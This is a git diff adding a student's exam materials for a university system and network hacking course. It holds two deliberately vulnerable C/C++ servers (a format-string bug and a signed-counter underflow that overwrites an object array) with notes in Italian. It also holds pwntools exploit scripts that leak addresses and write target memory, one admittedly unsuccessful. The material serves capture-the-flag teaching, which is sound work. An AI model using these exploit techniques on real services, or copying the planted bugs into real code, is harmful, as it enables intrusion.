diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/Makefile b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/Makefile new file mode 100644 index 0000000..7544920 --- /dev/null +++ b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/Makefile @@ -0,0 +1,9 @@ +CFLAGS=-pie -g -z noexecstack -fstack-protector -z relro -z now -Wno-stringop-overflow -Wno-format-security +all: server + +server: server.c + gcc $(CFLAGS) -o server server.c + +.PHONY: clean +clean: + rm -f server diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/assignment.pdf b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/assignment.pdf new file mode 100644 index 0000000..25752d4 Binary files /dev/null and b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/assignment.pdf differ diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/flag.txt b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/flag.txt new file mode 100644 index 0000000..74e74b3 --- /dev/null +++ b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/flag.txt @@ -0,0 +1,2 @@ +SNH{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} + diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/run.sh b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/run.sh new file mode 100644 index 0000000..77d42d9 --- /dev/null +++ b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/run.sh @@ -0,0 +1,5 @@ +#!/bin/sh +if [ -n "$FLAG" ]; then + echo $FLAG > flag.txt +fi +./server diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/server b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/server new file mode 100755 index 0000000..7286b7a Binary files /dev/null and b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/server differ diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/server.c b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/server.c new file mode 100644 index 0000000..16c7f6b --- /dev/null +++ b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/server.c @@ -0,0 +1,146 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef PORT +#define PORT 10000 +#endif + +int printflag(void); + +#define CMDSZ 130 + +unsigned int key = 0; + +void login(char *password) +{ + // TODO: check password and then set key +} + +void child() +{ + char buf[CMDSZ]; + + while (fgets(buf, CMDSZ, stdin)) { + switch (buf[0]) { + case '\0': + case '%': // comment char + break; + case 'l': + login(buf + 1); + break; + case 'r': + if (key != 0xfab4) { + printf("access denied\n"); + } else { + printflag(); + } + break; + default: + printf("ignored line:\n"); + printf(buf); + break; + } + fflush(stdout); + } +} + +// NO INTENTIONAL BUGS BELOW THIS POINT +int main() +{ + int lstn; + int enable; + struct sockaddr_in lstn_addr; + + lstn = socket(AF_INET, SOCK_STREAM, 0); + if (lstn < 0) { + perror("socket"); + return 1; + } + enable = 1; + if (setsockopt(lstn, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable)) < 0) { + perror("setsockopt"); + return 1; + } + bzero(&lstn_addr, sizeof(lstn_addr)); + + lstn_addr.sin_family = AF_INET; + lstn_addr.sin_addr.s_addr = htonl(INADDR_ANY); + lstn_addr.sin_port = htons(PORT); + + if (bind(lstn, (struct sockaddr *)&lstn_addr, sizeof(lstn_addr)) < 0) { + perror("bind"); + return 1; + } + + if (listen(lstn, 10) < 0) { + perror("listen"); + return 1; + } + printf("Listening on port %d\n", PORT); + + signal(SIGCHLD, SIG_IGN); + + for (;;) { + int con = accept(lstn, NULL, NULL); + if (con < 0) { + perror("accept"); + return 1; + } + + switch (fork()) { + case -1: + perror("fork"); + return 1; + case 0: + printf("New connection, child %d\n", getpid()); + + fflush(stdout); + + close(0); + dup(con); + close(1); + dup(con); + close(2); + dup(con); + close(con); + child(); + exit(0); + break; + default: + close(con); + break; + } + } + return 0; +} +#include + +#define BUFSZ 1024 + +int printflag() +{ + char buf[BUFSZ], *scan = buf; + + FILE *flag = fopen("flag.txt", "r"); + if (flag == NULL) { + perror("flag.txt"); + return -1; + } + + if (fgets(buf, BUFSZ, flag) == NULL) { + perror("flag.txt"); + return -1; + } + + printf("Here is the flag:\n"); + while (*scan) + printf("%c", *scan++); + + return 0; +} diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/sol.py b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/sol.py new file mode 100644 index 0000000..a62f2d6 --- /dev/null +++ b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/sol.py @@ -0,0 +1,146 @@ +#! /bin/python3 + +import sys +import struct +from pwn import * + +# Vulnerabilità +# ============= +# +# ```C +# default: +# printf("ignored line:\n"); +# printf(buf); // Format string vulnerability +# break; +# ``` +# +# Piano d'attacco +# =============== +# 1. Trovare l'indirizzo di `key`: +# +# rsi rdx rcx r8 r9 stack[0] ... +# .%lx.%lx.%lx.%lx.%lx.%lx ... +# +# Dopo aver analizzato come il binario esegue tramite gdb, +# ho potuto notare che l'indirizzo di ritorno della funzione child +# viene "interpretato" come il 25esimo argomento di `printf()`. +# +# L'indirizzo di ritorno salvato nello stack corrisponde a main+533. +# +# nm server | grep main +# 00000000000014c8 T main +# nm server | grep key +# 000000000000402c B key + + +offset_main = 0x14c8 +offset_key = 0x402c +ret_addr = 0x0 +base = 0x0 + +try: + conn = remote("localhost", 10000) + conn.send(b'0x%25$lx\n') + if conn.can_recv(1): + conn.recvline() # To consume "ignored line:\n" + ret_addr = conn.recv().decode().strip('\n') + print(ret_addr) +except EOFError: + print("Ops...") +finally: + conn.close() + +ret_addr = int(ret_addr, 16) +base = ret_addr - (offset_main + 533) +key = base + offset_key + +print(f"Binary base address: {hex(base)}") +print(f"`key` address: {hex(key)}") + + +# Esempio di esecuzione in locale: +# $ ./sol.py +# [+] Opening connection to localhost on port 10000: Done +# 0x564c28d816dd +# [*] Closed connection to localhost port 10000 +# Binary base address: 0x564c28d80000 +# `key` address: 0x564c28d8402c +# cat /proc/$(pgrep server)/maps +# 564c28d80000-564c28d81000 r--p 00000000 103:05 1841262 /.../server + +# L'indirizzo di `key` e l'indirizzo base del binario sul server sono i seguenti: +# Binary base address: 0x5648d4563000 +# `key` address: 0x5648d456702c + +#key = 0x5648d456702c + +# +# 2. Scrivere in `key` il valore 0xfab4: possiamo usare %n. +# Purtroppo, 0xfab4 è un numero non "piccolo". Il nostro +# attacco dunque dovrà procedere in due step: +# +# a) *key = 0xb4 +# b) *(key+1) = 0xfa +# +# Grazie a `man 3 printf`, possiamo vedere che utilizzato il +# modificatore di lunghezza hh in sostanza esegue un cast a char* +# l'indirizzo oggetto di scrittura: +# +# ``` +# man 3 printf +# ... +# hh A following integer conversion corresponds to a signed char or +# unsigned char argument, or a following n conversion corresponds +# to a pointer to a signed char argument. +# +# ``` +# +# Attenzione! il binario usa `fgets`: dobbiamo inserire per "ultimo" +# l'indirizzo di `key` altrimenti i null bytes che sono presenti +# "troncano" il nostro payload. +# +# L'idea è dunque la seguente: +# +# a) primo payload = '.%0178lx.%8$hhn.' + struct.pack('Q', key) +# b) secondo payload = '.%0248lx.%8$hhn.' + struct.pack('Q', key+1) +# c) terzo payload = 'r' e sperare di vedere a stampato a schermo la flag. + +payload = [ + b'.%0178lx.%8$hhn.' + struct.pack('Q', key), + b'.%0248lx.%8$hhn.' + struct.pack('Q', key+1) +] + +try: + conn = remote("localhost", 10000) + + conn.sendline(payload[0]) + if conn.can_recv(2): + conn.recvline() # To consume "ignored line:\n" + conn.recv() + + conn.sendline(payload[1]) + if conn.can_recv(2): + conn.recvline() # To consume "ignored line:\n" + conn.recv() + + conn.send(b'r\n') + if conn.can_recv(2): + print(conn.recvline().decode().strip('\n')) + print(conn.recvuntil(bytes([0x7d])).decode()) + +except EOFError: + print("Ops...") +finally: + conn.close() + +# Purtroppo non sono riuscito a stampare la flag :( + +# Fix della vulnerabilità +# ======================= +# +# ```C +# default: +# printf("ignored line:\n"); +# printf("%s\n", buf); +# break; +# ``` diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/Makefile b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/Makefile new file mode 100644 index 0000000..0ae665d --- /dev/null +++ b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/Makefile @@ -0,0 +1,5 @@ +server: server.cc libflag.so + g++ -no-pie -g -o server -fstack-protector -z relro -z now -z noexecstack server.cc libflag.so + +libflag.so: libflag.c + gcc -fPIC -pie -z relro -z now -z noexecstack -fstack-protector -shared -o libflag.so libflag.c diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/exploit.py b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/exploit.py new file mode 100644 index 0000000..8d2a548 --- /dev/null +++ b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/exploit.py @@ -0,0 +1,17 @@ +from pwn import * + +legit = 8 +offset = 128 + + +payload = b'c\n'*8 + b'c\n'*(128+32) +#from now we're overwriting objects + +payload += b'c\n'*240 + +#now we're writing into objects['0']=objects[48] +payload += b'c'+p64(0x000000403f48-0x8)+b'\n' # 0x000000403f48 is the address of objects[48] in the binary + +payload += b'u0\n' # this will trigger the write to objects[48] + +sys.stdout.buffer.write(payload) \ No newline at end of file diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/flag.txt b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/flag.txt new file mode 100644 index 0000000..e69de29 diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/libflag.so b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/libflag.so new file mode 100755 index 0000000..1cfb9a6 Binary files /dev/null and b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/libflag.so differ diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/notes.txt b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/notes.txt new file mode 100644 index 0000000..604ed6f --- /dev/null +++ b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/notes.txt @@ -0,0 +1,16 @@ +il bug consiste nel decrementare a prescindere freekeys nella createkey(). + +in particolare, possiamo fare un underflow da -128 a 127 chiedendo la creazione di 128 chiavi dopo le 8 gratuite consentite. + +dopo aver fatto ciò, siamo in grado di scrivere ulteriori chiavi che andranno poi a sovrascrivere l'array di objects (che si trova immediatamente dopo in memoria) + +l'idea è quella di sovrascrivere gli elementi di objects, e poi chiamare la useobj. idealmente, la funzione chiamata sarà printflag() invece della foo() associata alla classe. + +non conosciamo l'indirizzo di printflag, ma solo il suo offset nella libreria usata per compilare, che è 0x11b9. + +Possiamo far puntare il vptr di un oggetto a una entry della GOT, e poi usare le chiamate virtuali per eseguire il contenuto di quella entry della GOT. + +L'obiettivo è quindi trovare l'indirizzo di base, trovare l'indirizzo di printflag come base+offset e assegnarla ad una entry di objects + +Ad esempio, `u0` corrisponde a objects[48] [0x30=48], scrivendo senza criterio avremo una segmentation fault, che suggerisce che ci troviamo sulla giusta strada + diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/run.sh b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/run.sh new file mode 100755 index 0000000..c2d7032 --- /dev/null +++ b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/run.sh @@ -0,0 +1,3 @@ +#!/bin/sh +echo $FLAG > flag.txt +LD_LIBRARY_PATH=. ./server diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/server b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/server new file mode 100755 index 0000000..d93a78a Binary files /dev/null and b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/server differ diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/server.cc b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/server.cc new file mode 100644 index 0000000..6857622 --- /dev/null +++ b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2025-06-12/server.cc @@ -0,0 +1,266 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef PORT +#define PORT 10000 +#endif + +const size_t BUFSZ = 128; +const size_t KEYSZ = 8; + +int subscription = 0; + +class Base { +protected: + int i; +public: + Base(int i_): i(i_) {} + virtual void bar() { + printf("bar!\n"); + } + virtual void foo() { + printf("Base %d\n", i); + } +}; + +class Derived1: public Base { +public: + Derived1(int i_): Base(i_) {} + virtual void bar() { + printf("derived1 bar!\n"); + } + virtual void foo() { + printf("Derived1 %d\n", i); + } +}; + +class Derived2: public Base { +public: + Derived2(int i_): Base(i_) {} + virtual void bar() { + printf("derived2 bar!\n"); + } + virtual void foo() { + printf("Derived2 %d\n", i); + } +}; + +char* values[8]; +Base *objects[256]; +char freekeys = 8; +int nextkey = 0; +void createkey(){ + + char *v; + int n; + + freekeys--; + if (!subscription && freekeys < 0) { + fprintf(stderr, "subscribe now! only 19.99$/month for unlimited keys!\n"); + return; + } + + v = new char[KEYSZ]; + if (v == NULL) { + fprintf(stderr, "out of memory\n"); + return; + } + n = read(0, v, KEYSZ); + if (n <= 0) { + fprintf(stderr, "Error/EOF while reading value\n"); + return; + } + values[nextkey] = v; + printf("key #%d\n", nextkey); + nextkey++; +} + +// NO INTENTIONAL BUGS BELOW THIS POINT +void useobj(){ + unsigned char key; + + if (read(0, &key, 1) <= 0) { + fprintf(stderr, "Error/EOF while reading key\n"); + return; + } + + Base *b = objects[key]; + + if (b == NULL) { + fprintf(stderr, "no such object\n"); + return; + } + b->foo(); +} + +int readnum() +{ + char num[2]; + if (read(0, num, 2) < 2) { + return -1; + } + if (num[0] < '0' || num[0] > '9' || num[1] < '0' || num[1] > '9') { + return -1; + } + return (num[0] - '0') * 10 + (num[1] - '0'); +} + +void createobj() +{ + char type; + unsigned char key; + + if (read(0, &key, 1) <= 0) { + fprintf(stderr, "Error/EOF while reading key\n"); + return; + } + + if (objects[key]) { + fprintf(stderr, "key already used\n"); + return; + } + + if (read(0, &type, 1) < 1) { + fprintf(stderr, "error reading type\n"); + return; + } + + int n = readnum(); + if (n < 0) { + fprintf(stderr, "error reading object data\n"); + return; + } + + switch (type) { + case 'b': + objects[key] = new Base(n); + break; + case '1': + objects[key] = new Derived1(n); + break; + case '2': + objects[key] = new Derived2(n); + break; + default: + fprintf(stderr, "unknown type: %c\n", type); + break; + } + if (objects[key] == NULL) { + fprintf(stderr, "out of memory\n"); + } +} + +extern "C" void printflag(); +void child() +{ + char cmd; + if (subscription) + printflag(); + while (read(0, &cmd, 1) > 0) { + if (index("cdou", cmd) == NULL) { + if (cmd != '\n') + fprintf(stderr, "Unknown command: '%c'\n", cmd); + continue; + } + if (cmd == 'q') + break; + switch (cmd) { + case 'c': + createkey(); + break; + case 'o': + createobj(); + break; + case 'u': + useobj(); + break; + default: + break; + } + } +} + +static void cleanup() +{ + char buf[4096]; + + memset(buf, 0, 4096); +} + +int main() +{ + int lstn; + int enable; + struct sockaddr_in lstn_addr; + + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + lstn = socket(AF_INET, SOCK_STREAM, 0); + if (lstn < 0) { + perror("socket"); + return 1; + } + enable = 1; + if (setsockopt(lstn, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable)) < 0) { + perror("setsockopt"); + return 1; + } + bzero(&lstn_addr, sizeof(lstn_addr)); + + lstn_addr.sin_family = AF_INET; + lstn_addr.sin_addr.s_addr = htonl(INADDR_ANY); + lstn_addr.sin_port = htons(PORT); + + if (bind(lstn, (struct sockaddr *)&lstn_addr, sizeof(lstn_addr)) < 0) { + perror("bind"); + return 1; + } + + if (listen(lstn, 10) < 0) { + perror("listen"); + return 1; + } + printf("Listening on port %d\n", PORT); + + signal(SIGCHLD, SIG_IGN); + + for (;;) { + int con = accept(lstn, NULL, NULL); + if (con < 0) { + perror("accept"); + return 1; + } + + switch (fork()) { + case -1: + perror("fork"); + return 1; + case 0: + printf("New connection, child %d\n", getpid()); + + close(0); + dup(con); + close(1); + dup(con); + close(2); + dup(con); + close(con); + cleanup(); + child(); + exit(0); + break; + default: + close(con); + break; + } + } + return 0; +} diff --git a/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/readme.md b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/readme.md new file mode 100644 index 0000000..f8056d4 --- /dev/null +++ b/SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/readme.md @@ -0,0 +1,5 @@ +# Important + +Exams since sept '24 have not been uploaded by Lettieri on his website, because the writeups weren't ready. + +In this directory you can find some of the assignments, with no guarantee of a (correct) writeup.